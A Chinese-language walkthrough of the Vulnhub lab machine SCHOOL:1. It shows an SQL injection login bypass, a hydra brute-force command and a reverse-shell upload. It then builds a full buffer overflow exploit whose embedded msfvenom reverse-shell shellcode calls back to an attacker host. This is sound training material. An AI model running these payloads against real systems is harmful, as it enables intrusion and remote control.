Vulnhub靶机:SCHOOL_ 1

介绍

系列:School(此系列共1台)
发布日期:2020 年 12 月 4 日
难度:高
学习:

  • 主机发现
  • 端口扫描
  • 信息收集
  • SQL注入
  • 信息泄漏
  • 文件上传
  • WINE
  • 缓冲区溢出
  • EXP代码编写
  • 本地提权

靶机地址:https://www.vulnhub.com/entry/school-1,613/

信息收集

主机发现

netdiscover主机发现

sudo netdiscover -i eth0 -r 192.168.56.0/24

主机信息探测

nmap -p- 192.168.56.124
nmap -p80,23,22 -A 192.168.56.124

在这里插入图片描述

探测23端口

简单测试了一下23端口,看起来不像是telnet服务,输入内容之后就会被断开连接
在这里插入图片描述

网站探测

开局就是一个登录框,经过测试,这里有2种攻击方式,一种是普通的爆破,一种是万能密码
在这里插入图片描述

  1. 万能密码登录:用户名输入' or 1=1-- ,密码什么都不用输入,直接登录进去
  2. 直接爆破,这里介绍一下hydra爆破

2.1 首先获取请求路径
在这里插入图片描述

2.2 获取post请求体
在这里插入图片描述

2.3 获知登录失败返回的响应体
在这里插入图片描述

于是拼接出命令(使用\r\n\r\n3用来指明响应体)
所用字典来自:https://github.com/fuzz-security/SuperWordlist

hydra 192.168.56.124 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r\n3" -l admin -P /usr/share/SuperWordlist-master/MidPwds.txt -f

在这里插入图片描述

文件上传-反弹shell

登录网站之后,一番查看,没有发现能拿到shell的漏洞,碰到这种情况的话,可以看看页面源代码,然后就看到了两个有价值的信息
在这里插入图片描述

  1. 投递反弹shell的脚本

在这里插入图片描述

  1. shell上传成功(因为bp插件的缘故,上传了好几份后门)

在这里插入图片描述

在这里插入图片描述

提权

常规的提权方式全部失败,这个靶机的提权方式很特别。
发现root用户的家里面有个win文件在执行着access.exe,并且它们都是以root权限运行着,思路就落在了这个exe上面,高难度靶机惯用的套路:缓冲区溢出攻击!
在这里插入图片描述

调试exe

环境准备

  1. 使用一台win2012虚拟机
  2. 下载exe和dll文件
  3. 下载调试软件 Immunity Debugger(全部下一步即可)
  4. 下载 Immunity Debugger 的一个扩展脚本 mona.py,把这个 py 文件丢到PyCommands

在这里插入图片描述

分析

点击两个开始按钮,让程序跑起来,然后调整一下字体大小
在这里插入图片描述

一旦运行了程序,出现一个弹窗,提示这个程序是不安全的。这个时候查看后台进程发现这个程序的PID是260,查询开放的端口发现本机开始监听 TCP 23端口。
在这里插入图片描述

确认缓冲区溢出漏洞

这里有坑,不知道为什么,脚本运行失败了。
在这里插入图片描述

经过反复排雷,发现必须指明数据类型是字节型才可以,至少在我这里是这样的,数据发送过去之后,已经可以看到EIP和ESP寄存器已经被修改成A或者A的ASCII值了。

import socket

try:
    buffer = b'A' * 2000
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.239.145', 23))
    s.send(buffer)

    s.close()
    print('\nDone')
except:
    print('Wrong')

在这里插入图片描述

寻找偏移量

经过多次尝试,找到了可以精准注入到EIP寄存器的位置。这还不够,下一步需要知道跳转到ESP的那段内存地址,这个地址最好是个静态地址才行。
在这里插入图片描述

发行坏字符

有一些字符一旦出现在了程序里,就会被程序删除、替换、转义等,因此要写入payload必须先发现坏字符。
使用如下代码,直接发现ESP寄存器的值到4C就断掉了,说明4D是个坏字符。那么就把 \x4d从脚本中删除,接着测试,经过这样不断的测试,最后发现坏字符有:\x4d\x4f\x5f\x79\x7e\x7f

import socket

badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

buffer = b'A' * 1902 + b'B' * 4 + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.239.145', 23))
s.send(buffer)

s.close()
print('\nDone')

在这里插入图片描述

搜索地址 EIP->ESP

EIP中放入跳入ESP寄存器的地址,ESP寄存器我们放入攻击payload。

输入:!mona modules,寻找全是False的行,发现了两行,选择第一个看看呢
在这里插入图片描述

!mona find -s "\xff\xe4" -m "funcs_access.dll"
  1. \xff\xe4JUMP ESP的汇编指令的16进制
  2. funcs_access.dll是选择的第一个模块的名字

结果找到了2个结果,这里需要尝试,这里尝试第2个内存地址:625012DD,由于cpu读取时,是逆序的,因此跳转地址为\xdd\x12\x50\x62

测试exp

使用如下命令生成反弹shell的命令

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.239.138 LPORT=4444 -b '\x00\x4d\x4f\x5f\x79\x7e\x7f' -f c EXITFUNC=thread
  1. 除了我们查出来的6个坏字符之外,还要额外去除掉坏字符“\x00”,因为CPU读取到这个字符的时候会认为字符已经结束了,就不往下执行了。
  2. 如果程序崩溃的话,以线程的方式退出:EXITFUNC=thread

在这里插入图片描述

编写exp:
为了让程序更稳定,需要添加一些空指令:'\x90'*32,当CPU读取到\x90的时候,它就会顺着往下滑,一路滑到要执行的反弹shell命令。之所以搞了这东西,主要是代码都紧挨着,容易出现执行结果异常,添加一个空指令能避免这种问题(一般来说,这段空指令放在要执行的命令前面,空指令的长度是4的倍数)

这里说一个雷区,研究了一段时间才发现:

  1. 如果你使用python3来执行,会出现下面的情况:

在这里插入图片描述

在这里插入图片描述

  1. 但是啊,如果你使用python2,就会是另外一副情况:

在这里插入图片描述

在这里插入图片描述

总结就是:

  1. 如果使用python3,必须指明数据类型是字节型,传输的payload最好是单行,或者是使用加号多行拼接(对应的操作格式参见 HARRYPOTTER: FAWKES靶机
  2. 如果使用python2,数据类型随便,单行或者多行随便。

编写exp反弹shell

上面是拿vmware下的win2012和kali测试的,现在回到virtual box下的靶机和kali上。
反弹shell

import socket

payload = ("\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"
           "\xd7\xfb\x91\x5c\x83\xee\xfc\xe2\xf4\x2b\x13\x13\x5c\xd7\xfb"
           "\xf1\xd5\x32\xca\x51\x38\x5c\xab\xa1\xd7\x85\xf7\x1a\x0e\xc3"
           "\x70\xe3\x74\xd8\x4c\xdb\x7a\xe6\x04\x3d\x60\xb6\x87\x93\x70"
           "\xf7\x3a\x5e\x51\xd6\x3c\x73\xae\x85\xac\x1a\x0e\xc7\x70\xdb"
           "\x60\x5c\xb7\x80\x24\x34\xb3\x90\x8d\x86\x70\xc8\x7c\xd6\x28"
           "\x1a\x15\xcf\x18\xab\x15\x5c\xcf\x1a\x5d\x01\xca\x6e\xf0\x16"
           "\x34\x9c\x5d\x10\xc3\x71\x29\x21\xf8\xec\xa4\xec\x86\xb5\x29"
           "\x33\xa3\x1a\x04\xf3\xfa\x42\x3a\x5c\xf7\xda\xd7\x8f\xe7\x90"
           "\x8f\x5c\xff\x1a\x5d\x07\x72\xd5\x78\xf3\xa0\xca\x3d\x8e\xa1"
           "\xc0\xa3\x37\xa4\xce\x06\x5c\xe9\x7a\xd1\x8a\x93\xa2\x6e\xd7"
           "\xfb\xf9\x2b\xa4\xc9\xce\x08\xbf\xb7\xe6\x7a\xd0\x04\x44\xe4"
           "\x47\xfa\x91\x5c\xfe\x3f\xc5\x0c\xbf\xd2\x11\x37\xd7\x04\x44"
           "\x0c\x87\xab\xc1\x1c\x87\xbb\xc1\x34\x3d\xf4\x4e\xbc\x28\x2e"
           "\x06\x36\xd2\x93\x51\xf4\xef\x9d\xf9\x5e\xd7\xea\xcd\xd5\x31"
           "\x91\x81\x0a\x80\x93\x08\xf9\xa3\x9a\x6e\x89\x52\x3b\xe5\x50"
           "\x28\xb5\x99\x29\x3b\x93\x61\xe9\x75\xad\x6e\x89\xbf\x98\xfc"
           "\x38\xd7\x72\x72\x0b\x80\xac\xa0\xaa\xbd\xe9\xc8\x0a\x35\x06"
           "\xf7\x9b\x93\xdf\xad\x5d\xd6\x76\xd5\x78\xc7\x3d\x91\x18\x83"
           "\xab\xc7\x0a\x81\xbd\xc7\x12\x81\xad\xc2\x0a\xbf\x82\x5d\x63"
           "\x51\x04\x44\xd5\x37\xb5\xc7\x1a\x28\xcb\xf9\x54\x50\xe6\xf1"
           "\xa3\x02\x40\x71\x41\xfd\xf1\xf9\xfa\x42\x46\x0c\xa3\x02\xc7"
           "\x97\x20\xdd\x7b\x6a\xbc\xa2\xfe\x2a\x1b\xc4\x89\xfe\x36\xd7"
           "\xa8\x6e\x89")

buffer = 'A' * 1902 + '\xdd\x12\x50\x62' + '\x90' * 32 + payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.124', 23))
s.send(buffer)

s.close()
print('\nDone')

在这里插入图片描述

在这里插入图片描述

2个Flag

在这里插入图片描述

在这里插入图片描述

总结

在这里插入图片描述

参考

SCHOOL:1 Vulnhub Machine Walkthrough

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值